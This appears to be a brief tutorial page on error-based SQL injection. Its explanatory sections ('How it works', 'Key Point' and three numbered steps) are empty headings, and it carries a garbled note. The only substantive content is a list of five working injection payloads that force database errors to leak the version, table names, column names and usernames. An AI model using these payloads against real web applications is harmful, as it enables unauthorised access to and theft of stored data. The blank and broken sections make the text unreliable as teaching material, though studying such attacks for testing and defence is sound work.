Error-Based SQL Injection

Note: Try make error , this is m display

What is Error-Based SQL Injection?

Error-Based SQL Injection relies on forcing the database to throw errors that reveal sensitive information. These errors can expose database structure, table names, column names, or even data.


How it works:

Key Point:

Steps to Exploit Error-Based SQL Injection

  1. Identify the Vulnerability:

  2. Force Errors to Extract Information:

  3. Extract Table and Column Names:


Error-Based SQL Injection Payloads

Here are some example payloads for Error-Based SQL Injection:

  1. Extract Database Version:

    AND 1=CAST((SELECT version()) AS INT)--
    
    
  2. Extract Table Names:

    AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS INT)--
    
    
  3. Extract Column Names:

    AND 1=CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1) AS INT)--
    
    
  4. Extract Data:

    AND 1=CAST((SELECT username FROM users LIMIT 1) AS INT)--
    
    
  5. Using EXTRACTVALUE for XML Errors:

    AND EXTRACTVALUE(1, CONCAT(0x3a, (SELECT version())))--